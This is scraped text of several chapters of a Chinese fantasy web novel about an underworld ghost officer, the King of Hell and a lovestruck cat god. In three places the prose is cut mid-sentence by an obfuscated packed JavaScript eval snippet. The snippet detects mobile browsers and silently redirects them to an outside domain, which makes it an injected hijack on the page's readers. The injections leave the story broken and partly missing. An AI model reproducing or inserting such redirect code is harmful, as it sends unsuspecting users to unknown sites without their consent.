摆渡翁起身将绳子拴到桩子上固定好船,苏月现拎着郁青往下走。在她经过老头身边时,他伸出手拉住了她—— “小苏,记住,爱情是互为因果。” 10.鬼差的休假日记(2) 苏月现拎着郁青上了一个坡,终于看到了位于山顶的一部独立电梯。它的外观与人间的并无差异,通体金属材质,按下按钮就会开关门。 苏月现伸出冒着蓝光的手腕,在红外线处扫了一下,显示屏上出现了她的身份证明,随后冰冷的机械女声响起—— 苏月现,欢迎您来到地狱。 苏月现叹口气,心想这破地方有什么可欢迎的。 她拎着郁青走进电梯,按下负一层。电梯启动,“嗡”的一声带着她们往下走。 地狱一共有十八层,每层的刑罚都不同。罪犯需要从第十八层开始闯关,或许会死在某个关卡直接魂飞魄散,或许成功登顶步入轮回。 一旦被扔进地狱,只有这两种结局。 郁青本该直接被苏月现杀死的,但碍于人间的契约,她要将她先关到负一层的大牢中,等到盛家该死的人都死干净,再把她放出来杀掉。 按照人间的说法,苏月现给郁青判了死缓。 狱卒们低眉顺眼,见到传说中的女官纷纷问好。苏月现顺手拉住一个小哥,让他找一间空牢房。 小哥业务熟悉,带着苏月现七弯八拐,找到了一间很靠里的房间。 她很满意,顺手给了他一张冥币。小哥惊喜地连连说吉祥话,把这间牢房的钥匙递给了苏月现,毕恭毕敬地离开了。 牢房的布置极简陋,璧上嵌着燃烧鬼火的蜡烛,地面只铺了一层薄薄的草作为床垫。苏月现毫不怜惜的把郁青扔了进去,骨头撞击地面发出咚的一声响,听起来就疼。 她转了转手腕,一路拽着这个女人使了不少力气,此刻酸得很。 苏月现见郁青还躺在那一动不动跟死了一样,皱着眉不耐烦地说道:“别装了,我知道你醒了。” 郁青呼出一口浊气,翻过身躺在那仰视苏月现,淡淡问:“你要把我关多久?” “等到跟盛家的契约结束。” “那天就是我的死期,对吗。” “你别耍花样。” “阿月。”郁青自嘲笑笑,“我竟折在了你的手里,我以为你会——” “会什么,心软吗。抱歉,让你失望了。每个人都要对自己的行为负责,不是吗?青姐姐,我是在帮你啊。” 郁青没理这茬,向她伸出了手:“我没有力气了,可以拉我起来吗?” 苏月现犹豫再三,还是握了上去。在双手交叠的瞬间,郁青悄无声息地探了她体内残存的怨气。 “阿月,你的怨气也所剩无几了。你说,我能打过现在的你吗?” 苏月现立刻挣脱开她的禁锢,召唤出古伞握在手中,伞头的枪尖紧贴着她的脖颈。刀刃锋利,似乎划破了些皮,留下了一道红色的印记。郁青敏锐观察到她握伞的手一直在轻微抖动,勾唇一笑,直接抓住了紧闭着的伞面。 苏月现心里慌了一瞬,枪尖又往里贴了几毫米。鲜血冲破伤口淌了出来,郁青仍面不改色地看着她。 “我杀了你。” “你不会杀了我的。”郁青逗够了她,松开抓伞的手扬起了脖子,“来吧,你随意。” 苏月现发了狠,双目猩红,大声喊道:“我杀了你!” “阿月,我知道你在乎我,其实你最重感情了。你还是这么善良,不愧是人人称赞的苏小姐。当年,你的葬礼我去了。不知道你还记不记得你的侍女,你那个弟弟说,她殉主了。哈,连你身边的人都那么好。我没有告诉你吧,跟我丈夫通奸的,是我的贴身侍女。”郁青的眼睛眯成了月牙状,她再次笑起来,却落下了泪,“希望你恢复记忆后,还能如此。” 苏月现让自己平静下来,没回答她,收回了古伞退出牢房,默默锁上了铁门,又额外加了一道封印。 在她转身离开的霎那,她听到她说—— “阿月,我不后悔。” 天上乌云散开,月光穿过缝隙落在了电梯上,泛着银白色的光。金属门开了又关,冰冷的机械女音再次响起—— 苏月现,欢迎您再来。 苏月现站在空旷的山顶,望着更高一层、隐在云雾间的阎罗殿出神。 其实她作为审判者,并没有审判过谁。在这世上生存的每个人,都在被自己的命运审判。她只是按照既定的规则去执行,推动着齿轮不断往前转。 郁青的前生都困在了那个不爱她的家,连视为希望的孩子,都断送了她的命。而她可怜的余生将被禁锢在不见天日的牢里,每过一日都是生命的倒数。 俗话说,人要向前看。但她已没有前路,所以只能回望过去。 其实她的故事很简单,听过了开头就能猜中结尾。这是她已经写好的人生剧本,她只是负责帮她走完。 这是苏月现能给她的最好结局。 “青姐姐,下辈子做只鸟吧,飞向你想去的远方。” 苏月现顺着山坡往上走,阎罗殿的身影越发清晰起来。 那是一栋古色古香的建筑,像极了故宫的午门。高门之上,盘踞着两条黑蛇雕像,姿态活灵活现,对着每位来访之人吐露信子,增添了些许神秘感。再往里走是长达五十米的大殿,通体铺着暗红色的地毯,两旁的座椅整体排列,以供各部门开会使用。 而在大殿的尽头,那把能坐两人的长椅,便是阎王的宝座。他不喜欢木制家具的硬冷,特意在上面铺设了一层厚厚的毛绒黑毯子。下界常年阴冷,既彰显了尊贵与奢华,又起到了一定的保暖作用。 苏月现走到阎王面前,单膝跪地,手附于心脏处,低头恭敬问好:“吾王盛安。” “苏苏来啦~” 鸦影从他的王座上起身,笑眯眯地走过去亲自扶起了苏月现:“说说,这次都遇见了什么好玩的事情。快快,阿铭啊,搬把椅子来。你也来,一起坐啊!” 苏月现这才发现大殿内还有一个人——言铭。 她最讨厌的人!!!!! 言铭的眉头拧成了一个疙瘩,全身上下写满了拒绝,搬椅子的动作倒是麻利,轻轻放在了王座对面的位置,摆出一个请的姿势。 但他落在苏月现身上的目光锋利非常,刀片似的恨不得将她活剐了。 苏月现挑眉,对上他并不善意的眼神,心想他能有这么好心。 鸦影似是看不懂这些针锋相对,仍笑着让他们坐下来。 苏月现向来不会忤逆阎王的决定,乖乖坐下。言铭耿直得很,跟个电线杆似的杵在那一动不动。 鸦影依然是笑眯眯的模样,但站在他肩上的乌鸦扑棱了两下翅膀,红瞳闪着锐利的光。 言冥好像瞎了,还是没动。 最后苏月现看不下去了,抓着他的风衣就往下拉。言铭瞪了她一眼,顺势坐下。 鸦影满意地点点头,回到了他的王座上:“二位都是来述职的,不巧,赶一起了。那你们谁先开始呢?” “我先开始吧。” “我不是来述职的。” 两道声音同时响起,言铭率先看向苏月现,她依然神色淡淡。 “那,苏苏,你是来干嘛的呀?” “我要休假。” “嘁。”言铭不屑的翻了白眼。 “怎么突然想起来休假了?” “王,我已经很久没有休息了。不信您去翻翻记录,看看我攒了多少年假了。” “王,多事之秋,死神那边连实习生都派出来了,她竟然想休假?!” “好了好了。”鸦影嫌他太吵,摆摆手,“你先下去吧,等会我让乌鸦去叫你。” 言铭心中气不过,但阎王发话了他也不好再说什么。走之前没好气的瞥了一眼苏月现,默默道:“出任务穿什么长裙啊,还是白色的,不嫌不方便吗,真是不专业。” 苏月现实在忍不了了,火气直冲天灵盖,起身要跟他打一架。他却没给她这个机会,只留下了一阵急匆匆的风。 等到殿门关上,鸦影才开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667312|156531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口:“你又惹他了?” “没有啊。”苏月现坐回位置上,思考着今天的言铭为什么浑身都是刺,“这个月业绩排名,他第几?” “第二,第一是你。本王昨天刚发的通知,你能不能看看群消息?” “怪不得。”她心中了然,“所以他今天针对我啊。” 苏月现和言铭两人不和鬼尽皆知。 第一和第二的争夺每个月都十分激烈,苏月现只是按规矩办事按部就班,言铭却总跟打了鸡血似的玩命抓恶鬼,就是为了把苏月现从第一名的位置上拉下来。可惜,多年未果。 就像他当年作为皇帝的次子与东宫争夺皇位,认真谋划多年最终却被轻而易举的打败了一样。 他的人生贯穿着两个字:倒霉。 言铭是个很简单的人,虽然长在皇家,心思却单纯。他争皇位的原因,是希望皇帝能看见他,重用他。至于能不能坐上龙椅,他并不在乎。 夺嫡失败,他的好哥哥知晓他的脾性,登基后并没有赐死他,而是将他禁足在府中,了却残生。 成王败寇,言铭性子刚烈,一盅鸩酒了结了自己,再醒来就是在下界了。 “唉,这孩子,得失心太重。”鸦影顶着一副儿童身材,却说着老气横秋的话,“所以不能重用他。” “用人不疑,疑人不用。” “刀要用在刀刃上。” 苏月现点点头:“懂了,就你一个玩纯爱的。” “苏苏,怎么越来越没大没小了。”鸦影虽然这样说着,但语气中丝毫听不出怒意,“我是真的很爱哥哥。” 阎王跟天帝是对双生子,天帝早出生几分钟,为哥哥。 据说在胎中,天帝吸取了更多母体的养分,导致阎王先天不足,从小便体弱多病缠绵病榻。 兄弟二人十二岁时,要选出一人接管下界。虽说上下两界地位相同,但上界的环境要比下界好不少。因此,之前选出前往下界担任阎王的孩子,都是经过了一场比试后失败的人。 但这二子不同,自小长在一起,情深意重。天帝认为上界环境更好,适合弟弟休养身体,他自愿前往下界。阎王认为应该把更好的给他的哥哥,哪怕按照往年的惯例,自己定是比试中失败的一方。 最终,天帝还是晚了一步。阎王夜晚前往轮回镜,抢先一步做了选择。 轮回镜是连接三界的唯一通道,前往下界时,需佩戴特定的符箓。否则通道中的煞气会入侵神体,导致本体死亡。 而成为阎王的条件就是本体死亡。 天帝的弟弟仙陨在了十二岁,人间连下三天雪。 同年,下界来了一位名叫鸦影的新阎王。 “你还记得自己之前叫什么吗?” 鸦影沉默地望向远方,思绪飘到了许多年前。他在学堂上睡着了,天帝附在他耳边轻轻唤着:嘉永,别睡了。 他被叫醒了,揉着眼睛喊鸿永哥哥。 原生受命于贞节兮,鸿永路有嘉名。 鸦影摆摆手,叹了口气:“唉,不记得啦。” 苏月现看出了他的异样,并没有拆穿,继续刚才的话题:“我要休假。” “好,准了。要去哪儿玩?” “不玩,在家休息。” “哎,前段时间去你家看了看,那墙根都快长蘑菇了,你回去好好打扫一下。” “你这领导,怎么还进下属家里?” “关心下属,不行吗!一年三百六十五天,你三百六十天都在外面飘着。要不是鬼差魂飞魄散会有通报,我真以为你死在了人间的哪个犄角旮旯。我巴不得你回来休假,你要是死了,我去哪找这么好用的员工!” 鸦影嘴快,把真实想法全秃噜出来了。他说完了才反应过来,赶忙捂住嘴巴。 苏月现眯了眯眼,扭头离开了大殿。长发飘逸,裙摆扬起,留给阎王一个潇洒的背影。 这就是业绩第一的底气。 11.猫神的追爱日记(3) 昏迷了一周后,清一终于醒了。 屋子里没人,只有时钟啪嗒啪嗒向前走的声音。 清一躺得全身僵硬,张了张口想叫人来,却发不出任何声音,只好掀开被子准备自己下地走走。 被郁青掏空的地方已经重新长出了血肉,新皮肤透着粉,看起来嫩嫩的。他好奇的摸了摸,很顺滑,跟老皮肤没什么区别。 清一用手臂撑着床坐起身,腰部折叠时抻着了胸口处的伤口,还是有轻微刺痛感。 他想起了那天濒死的感觉,像鱼不小心跳到了岸上曝晒在猛烈的阳光下,他能感受到自己的生命正在流失,风从胸口的血洞穿过,腐蚀着他的白骨,残存的□□化成一把黄沙,消散在天地间。 这是清一第一次离死亡这么近。 他将手附在了心脏处,感受着胸腔下有节奏地跳动。他慢慢地放松,呼出一口气来。 还好,还活着。 凌霄在这时端着药走进了房间。 他看着清一坐在了床上,神色激动起来,又皱起眉头数落他:“你怎么坐起来了?快躺下好好休养!” “躺太久了,腰痛,想坐会儿。”清一的嗓子缓得差不多了,但说话时还有些沙哑,闷闷地,没了少年的朝气。 凌霄瞬间紧张起来:“腰痛?那我给你找个垫子。” 说着他跑去客厅拿来了一个大靠垫,塞到了清一身后:“怎么样?现在还痛吗?” “没事了哥,你快坐下吧。” “我坐什么,你快把药先喝了,然后想吃点什么?我去给你做。” 清一装模作样地思考了一会儿,说出了一个准确的答案:“嗯——我想吃鱼了。” “跟我猜的一样,已经买回来了,一会儿就给你做。” 清一乖乖把药喝完,凌霄自然的接过了碗,起身正要离开,却被他抓住了胳膊。 “怎么了?” 清一看见了凌霄眼底的青影和下巴上长出的胡茬,心中酸涩:“这些日子,辛苦凌霄神君啦。” “兄弟之间,说什么辛不辛苦。” “哥,我太弱了……根本打不过任何人。”清一垂下头去,声音越来越小。 凌霄抚上了他的手,低声安慰着:“你之前做得都很好啊,你给了我很大的帮助。” “我以前也觉得自己很厉害,可我去了人间才发现,完全不是这样的。恶鬼很多,它们会不遗余力地对付你,每一招都直取命门。我还给苏姐姐添了不少麻烦,她应付这些鬼都来不及,还要保护我。我不配做神,我没法保护大家……” “那就不做了,不去人间了,就在我身边吧。” “什么?” “清一,我希望你成长,但更希望你能平安快乐。如果这件事威胁到了你的性命,我会帮你舍弃掉的。” “哥,这个时候通常不是应该劝别人相信自己、再坚持一下吗,你怎么比我先打退堂鼓。” “因为我知道虽然你这么说,但是你不会放弃的,等你伤好了还是会去人间。” “为什么……” “苏月现还在那啊。”凌霄轻轻戳了一下他的脑门,“死恋爱脑。” 清一捂着额头嘿嘿笑:“我会努力变强的!” “好好好,你再休息会,我去给你做鱼啊。” 凌霄端着碗走了出去,房间又回归到刚才的安静。 清一醒了就躺不住了,下床在屋中溜达。过去了这么久,也不知道苏姐姐怎么样了。那只鬼她肯定打得过的,后来呢,她又去执行了什么样的任务。 这样想着,清一咬破手指在空中比划了几下,一张符出现在他手里。 “嗯,我就去看一眼,看完我就回来。” 他阖起眼,心中默念咒语,符箓从顶部向下燃烧,火焰极速将这张纸吞噬殆尽。 3—— 2—— 1—— 房间里的时钟仍发出有节奏的响声。 清一失败了。 他不明白为什么会这样,又咬破手指画了一张符,闭上眼睛再次默念咒语。 他再睁眼时,发现凌霄拿着饭铲靠在门框上一脸无语的看着他。 “哥……” “你想干嘛?我在厨房都闻见了你这的烧纸味。怎么着,想把这屋子点了?” “我——” “苏月现回下界了,你想找她用普通的定位符不管用。等会吃完饭,给你一张特定的符,直接从轮回镜走吧。” “哥,你真好!”清一激动地一把抱住了凌霄。 凌霄瞧见他这一脸不值钱的样连连摇头:“我要去做鱼了!别打扰我!” 凌霄带着清一来到轮回镜。 这是一面一人高的大镜子,边框被一团雾气挡住,看不清楚。 来访之人心中默念着地点走入镜中,就可抵达想去的地方。 凌霄给了清一一张特定的符箓,神仙带着此物前往下界才不会对神体有影响。 他之所以没有教清一画这张符,是因为他根本画不了。 唯有真神的法力才可抵挡镜中煞气,他只是一个微不足道的半神。 “准备好了吗?”凌霄问。 清一郑重地点点头。 “那就走吧。”他说完这话,抬脚就要往镜子里走。 清一看懵了,一把拉住了他的手:“哥,你这是干嘛?” “不是要去下界?我陪你一起。” “哥!” “你跟苏月现在人间才待多久啊就伤成这样了!我这次就陪你去找她,正好我要找她理论理论!” “咱能不胡搅蛮缠吗?”清一不能理解凌霄的脑回路,“明明是我自己不小心,明明是我自己太弱了,关苏姐姐什么事啊?” “她没有保护好你啊!” “我为什么要让她保护啊!再说了,我们什么关系都不是,她没义务保护我。” “两位……能不能让一让?咱吵架旁边吵行吗?” 一位婆婆慢悠悠地走了过来,白了两个人一眼,开始自顾自地对着镜子施法。 她正脸看起来有六七十岁了,若是在人间,这个年龄的婆婆爱穿暗一点或大红大绿鲜艳的颜色。她却穿了一身淡粉色的长裙,再加上她体态端正,常年控制身材,从远处看就像刚降生的小神。 凌霄手附在心脏处,躬身行礼:“镜婆婆,您这是?” “看不见吗?检修。” “呃,想不到轮回镜还要检修。” “你以为呢?没事别烦我,忙。” 凌霄被噎的没话说,灰溜溜地站在了一旁。 清一走上前,笑眯眯地看着她:“婆婆~您还要修多久呀?我想去下界。” “去下界啊。”镜婆婆的态度意外的变好了,“你法力够吗?能画符吗?需不需要我给你一张?” 清一一听有戏,赶忙掏出符箓,目不转睛地盯着她,每忽闪一下睫毛都是抛一次媚眼。 镜婆婆老脸红了又红,接过符箓来检查了一番,确定没问题后塞回了清一手里,还顺便挠了一下他的手心:“可以,没问题,你去吧。” 凌霄赶忙上前:“我也去!” 镜婆婆身子一斜,将他和清一隔离开:“等着,老身让你去了吗?” “那为什么他就……” “婆婆,我不想让他跟着我,您可以帮帮我吗?”清一抓住了她的衣袖,来回轻轻晃悠着。 镜婆婆完全失去了理智:“好好好,都听你的,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694620|156531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快去,我帮你拦着他!” 清一高兴地俯身抱了一下她,在镜婆婆满眼爱意的注视下走进了轮回镜。离开前还不忘了冲凌霄摆一个鬼脸。 凌霄气急了,拿着符就要跟上去,却被镜婆婆一把拦住了。 “婆婆!他是我弟弟!我怕他出事!” “能不能给人家点自由!年纪轻轻,还不如我这个老婆子开放!” “婆婆!” “去下界能有什么事!那是天帝的弟弟管辖的区域,能有什么事!那也是自己家!” “人心难测啊,何况下界那么多鬼怪,我弟弟他重伤未愈,要是不小心被伤到怎么办?” 镜婆婆愣了一下,似乎被说动了,自顾自地喃喃着:“这样的兄弟才叫兄弟嘛……”她的思绪被前尘往事钩住,没再阻止凌霄,默默的转身离开了。 凌霄不明白她为什么提起下界就情绪激动,但他现在没空计较这些,赶忙走入了轮回镜。 镜婆婆曾经是阎王的乳母。 因为他身体太弱了,父王特意没有将他和天帝养在一起。而是找了专人,日夜细心照料。 阎王做神的时候,名叫嘉永。他不喜欢那些繁文缛节,让镜婆婆平日里直接唤他名字。两人关系亲如母子,嘉永关于童年的记忆里,百分之八十都是镜婆婆。 但嘉永时期的阎王过得并不快乐,由于身体不好,所以不能像寻常孩子一样在外面跑来跑去。天帝在院子里练习剑术时,他只能坐在屋子围着一堆纸人转。久而久之,天帝常被带去人间除害,越发声名远扬,颇得父王赞赏。 可他每每将目光落在阎王身上时,说出来的话只有一句—— “平安健康就好。” 天帝会来安慰他,他说他的弟弟开心度日便好,他身为哥哥会一辈子都保护他的。 阎王心中不愿,却并未多说什么,还会附和着他,说些天帝爱听的话。 他爱他的哥哥,他知道他的哥哥是为了他好。 镜婆婆将这一切都看在了眼里,私下里也厚着脸皮,不顾主仆身份,以长辈自居,一声一声鸿永地唤他,试图让他想起这份兄弟情义。 但他不甚在意。 原来在天帝心里,他的弟弟就是宛若菟丝花的存在。从出生那一刻起,就注定要依附他来活。他从来没想过,他的弟弟是个男人,他的弟弟愿不愿意。 因此,镜婆婆非常不喜欢天帝。 阎王其实知晓哥哥的全部想法,他说得也没错。自己确实身体不好,这辈子恐怕都没法达成哥哥那样的境界。但他不愿认输,用自己的方法做着反抗。 他苦心钻研符箓纸人之道,研发出了许多功能符,还有可以进行通讯的小纸人,帮助了不少修行此道之人,也颇有成绩。 父王为了难,两个儿子各有千秋,到底谁来管理上界,谁来管理下界呢。 镜婆婆常劝阎王,要懂得为自己争取,上界待着更为舒适。 阎王却总说,他和哥哥,谁都好。 可是天帝耍起了心眼,他不愿意去下界,又深知弟弟善良,便故意在他面前后退一步,主动向父王请愿自己去下界任职。 阎王却当了真,洋洋洒洒写了一封信,告别上界诸位,夜晚悄悄前往轮回镜,毫不犹豫地走了进去。 其实天帝早就去了,他料到以弟弟的性格夜晚定会前来。到时候只要自己假装晚了一步,此事便成了。 镜婆婆也去了。 她站在了天帝的背后,将一切都瞧得真切。 嘉永已死,变成了名叫鸦影的新阎王。 鸿永如愿留在了上界,做了天帝。 她离开了大殿,化名镜婆婆,自请守护轮回镜。 除了阎王,没人知晓她的名字。 12.猫神的追爱日记(4) 镜中的世界很简单,目光所及之处皆为黑暗,唯有正前方一束光亮通向出口。 清一循着光走了出去,映入眼帘的是大片的红色彼岸花。一朵一朵连成海,风吹动片片花瓣,摇曳着、碰撞出妖冶的姿态。 花海中有一条供人行走的小路,笔直地向前延伸着。月亮高悬,用柔和而清澈的银辉轻抚着这片被夜色拥抱的土地。清一踏了上去,伴着一路幽香,他向着远方走去。 他不知道这条路的尽头在哪,他只知道这是能见到苏姐姐的唯一途径。 为此,他就会勇往直前。 言铭是今日镇守黄泉路的鬼差,主要工作是筛选进入下界的亡魂。 有一些人走得太急,死神还没有生成关于他的名片,就自己跑到下界来了。一般这样的游魂,会徘徊在黄泉路上,当值的鬼差需要把他送到奈何桥,交到摆渡人的手上。 但随着死神团队的不断壮大,这种现象越来越少。总得来说,看守黄泉路是一个清闲的差事,所以阎王并没有特别安排一个团队去管理,而是采用的加班制—— 谁报名,谁当值,谁拿冥币。 言铭本月的业绩已经达成,不需要再去人间出生入死了。但他是个闲不住的人,便来此地值守,顺便赚点外快。 上界的神很少来下界,这里的环境不好,比起他们每日所待的地方,简直能用乌烟瘴气来形容。 而且能有什么重要的事需要亲自到下界来说明,而不是传讯给阎王呢。 因此,言铭看到清一的脸时甚是震惊,默认是来捣乱的小神,准备把他吓唬走。 他举起长剑,抵在了清一的颈间,毫不客气地说道:“知道这是什么地方吗?干嘛来的?” 清一不知此人功力深浅,弯着眼睛乖乖回答:“我叫清一,来找苏月现,我是她的好朋友。” 言铭听见这个名字下意识就立起了眉,看向清一的眼神中多了几分打量:“找她干什么?她什么时候跟神官做朋友了!” “呃,我们在人间一起抓恶鬼……” “我不信。” “哈?” “我说我不信,我是不会放你进去的。”说罢,言铭似是要表明自己的决心,将剑往里推进了几毫米。 温热的皮肉与冰冷的剑刃贴在了一起,清一感受着颈间的温度,收起了笑眯眯的神情。他抬起手,用指背轻轻推开了一寸,说出口的话也不再客气:“我是上界的神官,我有权来此,放我进去。” 言铭挑眉,慢悠悠道:“我知道,若你不说你是来找苏月现的,我就放你进去了。但找她,不行。” 清一轻笑一声。 谁还记得他是一只脾气不好的猫。 清一释放出了蕴藏在体内的神力,言铭亦是不甘示弱,两股力量汇聚于剑刃上的一点,黄泉之地霎那间刮起狂风。大片的彼岸花经不起吹打,红色花瓣被风卷起,用力旋到空中又缓缓落下。 两人站在漫天红雨中,四目相对,互不相让。 紧赶慢赶的凌霄在远处就感受到了尽头的气压,用上神力快跑两步,从袖中甩出一张符企图隔绝开两人。 清一只觉眼前闪过一道金光,下一秒就被人拎着衣领往回拽了几步。 他刚想发脾气,鼻间却嗅到了熟悉的气味,顿时老实下来。 唉,完了,又要挨骂了。 言铭还是那副嘴脸,说不让过就是不让。当他再次举起剑准备拦住他们时,发现剑刃上有一道轻微的裂痕。 从这痕迹生出的方向来看,不属于他也不属于清一。 是谁造成的可想而知。 这是言铭最喜欢的一把宝剑。 历经数代,他曾生活过的国家已然覆灭。他凭着儿时的记忆走入已经变成废墟的皇宫,救出了这把压在落石下的宝剑。 他无法拯救他的国家,只能留存下一份念想。 言铭怒气冲天,眨眼之间,他的瞳孔变成了暗红色,怨气顺着经脉流转,从指尖处溢出,渗入了剑身中。 裂痕迅速被强劲的怨气修补完整,言铭提着剑,以最快的速度闪到了凌霄面前。 狂风卷起他黑色的长发,言铭高举起那把象征着帝王的宝剑,用尽全力劈了下来。 起码在这一刻,他是真的想杀了他。 最终,两个人都被凌霄打了一顿,拎着衣领一手一个,一路拖到了阎罗殿。 鸦影正坐在王座上打盹儿,忽然听到大殿的门被踹开,以及越来越近的脚步声与拖拽声,他感觉到了不对劲。 鸦影睁开眼,看见了站在下面一脸不耐烦的凌霄,和趴在地上被摧残得不行的两人。 这是什么情况??? 他拍了拍脸颊醒盹儿,换上一副严肃模样,清了清嗓子问:“凌霄神君,有失远迎啊。这是?” 凌霄行了个礼:“阎王,我来找苏月现。哦不对,是我弟弟要来找苏月现。” “那言鬼差?” “他啊,不让我进去,被我打服了。” “不……不服……”言铭顶着青黑色的眼眶,使出全身力气讲出了这两个字后,彻底晕了过去。 鸦影摇摇头,叫来两个侍从让他们把言铭抬回去休息,又紧急安排了新的鬼差去黄泉路当值。 清一被揍习惯了,在地上躺了会儿后自己爬了起来。他拍了拍身上的土,又整理了一下凌乱的头发,对着阎王行礼问好。 鸦影惊讶于他的恢复速度,没多说什么。简单寒暄几句后,他客气地问:“快到饭点儿了,要不二位在我这吃完饭再走?” 清一正要开口,却被凌霄抢先了一步:“饭就不用了,我们这次来是找苏月现的,见完她就走。” “本王已经派了纸人去请苏鬼差了,但可能她没注意到吧,还有回复我呢。” 清一一听苏月现的名字,急得从座位上站了起来:“我可以去找她!” “清一!”凌霄低声喊他,“礼貌吗!” “也行啊。”鸦影一口答应下来。 凌霄愣了,心想这阎王怎么那么随便。那是人家的家诶!就这么水灵灵地进去了? 鸦影似是猜到了凌霄的想法,默默对他的疑问做出了解答:“我们下界没有这么多规矩,鬼差的地址都是公开透明的。下次我教你怎么查找,这次既然你这么着急,那——” 他拿起笔,在纸上留下了苏月现的地址,递给了清一:“我写在了纸上,你就去这找她吧。” 清一拿到地址后眼中已没有其他人,一溜烟儿似的跑走了。凌霄刚想跟上去,却被鸦影拦了下来。 “凌霄神君,孩子们的事儿,咱也要跟着掺和吗?” 苏月现是被接连不断的敲门声吵醒的。 她顶着个鸡窝头,打着哈欠,不耐烦地去开门—— 清一的脸就这样毫无预告的闯入了她的眼中。 他刚扬起笑容准备打招呼,苏月现却没做停留,面无表情地砰的一声关上了门。 清一眨巴眨巴眼,不理解她为什么这样。 苏月现红了脸。 她赶紧跑到镜子前,用梳子梳通了打结的发尾,顺便揉了揉睡得浮肿的眼,又回到卧室换了一条新的长裙,再三检查没问题后,重新给清一开了门。 “进来吧,不用换鞋了。”苏月现侧过身,请他进来。 清一看着焕然一新的苏月现,忍着笑意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一颗头近乎埋进了盘子里,桌子上是他一根一根挑出来已经堆成小山的刺。 苏月现惊讶地看着他的发顶,第一次对自己的厨艺自信起来。 难道真是特别好吃? 她拿起筷子,悄悄夹起一块雪白的鱼肉。清一以为她也想吃,连忙把盘子往前推。 苏月现一边摆手制止住他的动作,一边把那块鱼肉塞进口中。 太淡了,完全没味。 果然猫猫喜欢吃清淡的食物。 “除了鱼还喜欢吃什么?下次可以试试。” 竟然……还有下次! 清一的眸子瞬间亮了起来,咬着筷子思考着爱吃的食物:“之前凌霄神君煮过一次牛油火锅,我觉得还不错,下次我们可以试试这个!” “牛油火锅?那不是辣的吗?” “对啊对啊!我喜欢吃口味重一些的!” 清一说完就愣住了。 苏月现也愣住了。 两人的目光纷纷落在了那只被吃得七零八落的鱼,空气中弥漫着一丝尴尬。 “苏姐姐的鱼很好吃……” 清一红着耳朵低下了头,暗骂自己不会说话。 苏月现看着他窘迫的反应,忍不住笑了起来。 清一被她的笑声吸引,撩起眼皮偷瞄她的脸。 苏月现笑得面色绯红,眼眶中闪烁着泪光。她抬手擦了一下,躬起手臂将手撑在下巴处,温柔地看着清一。 “好啊,那下次吃火锅吧,我也很喜欢。” 13.新年番外:烟花[番外] 苏月现见清一睡熟了,轻手轻脚地起身出了卧室。她靠在沙发上刷着抖音,精神终于放松了下来。 众所周知,猫咪是最爱睡觉的物种。 因此清一每个下午都困得睁不开眼,一米八几的大个跟没长骨头似的往她身上贴。 恰巧,苏月现最吃这套。 她总会红着耳朵假意推开他,又在他再次凑上来时顺势抱住,来回抚摸着他的背,嘴里念叨着:“好啦,好啦,一起午睡吧。” 而鬼是不需要睡觉的。 每次苏月现都会等清一睡着后离开卧室,偷偷在客厅坐会儿刷刷手机。等到他这一觉时间差不多了,再回去躺在他身侧假装睡着。 虽然麻烦些,倒也乐此不疲。 殊不知,每次在她离开卧室后,清一都会睁开眼睛。他会默默地躺在苏月现刚才待过的地方,枕在她的余温上进入梦乡。 苏月现已经刷了好几个年终总结的视频了,她打开日历,发现今天是2024年最后一天。 平时他们不是在抓鬼就是在抓鬼的路上,根本没空去关注今天到底星期几。 苏月现思考了一会儿,穿上大衣出了门。 姑苏的冬天不同于北方的银装素裹,天气虽寒,但不凛冽。夕阳的余晖,给这座城市镀上了一层温暖的金色。零星飘落的雪花,轻柔地覆盖在古老的屋檐上。偶尔还能听见几声鸟鸣,清脆悦耳。 苏月现行走在姑苏傍晚的街头,路灯纷纷换上了红色的新装扮,年味浓郁。行人匆匆与她擦肩而过,脸上洋溢着归家的喜悦。 苏月现不慌不忙,她穿过大街小巷,寻找着卖烟花的老板。 曾经,她的父亲最爱从镇子上买来烟花,拿到院子里放。他点完火后,总会以最快的速度跑到她身边捂住耳朵,这样她便听不清烟花炸开的声音,唯有绚烂的色彩映入她的眸中。 她想,烟花这种热烈又梦幻的东西,谁都会喜欢吧。 苏月现到家时,清一正坐在沙发上百无聊赖地翻着书。 他见她回来了,扔下书飞快跑了过来一把抱住。 “姐姐,干嘛去了~” 苏月现只好把买来的烟花放到地上,回拥他:“出去买了点东西,今天跨年,冰箱里还有些肉和料,待会儿吃火锅?” “好啊!” 清一松开了苏月现,贴心的帮她脱下了外套挂在了挂钩上。苏月现笑着踮起脚摸了摸猫猫头,便进厨房忙碌起来。 按照往常来说,清一会屁颠屁颠地跟在她身后。但今天,他的注意力被她拎进来的袋子吸引了。 清一偷偷打开黑袋子,里面装了两箱烟花。 “清一,来帮我洗个菜。” “来啦!”他紧张地呼出一口气,把袋子摆成原来的样子,进了厨房。 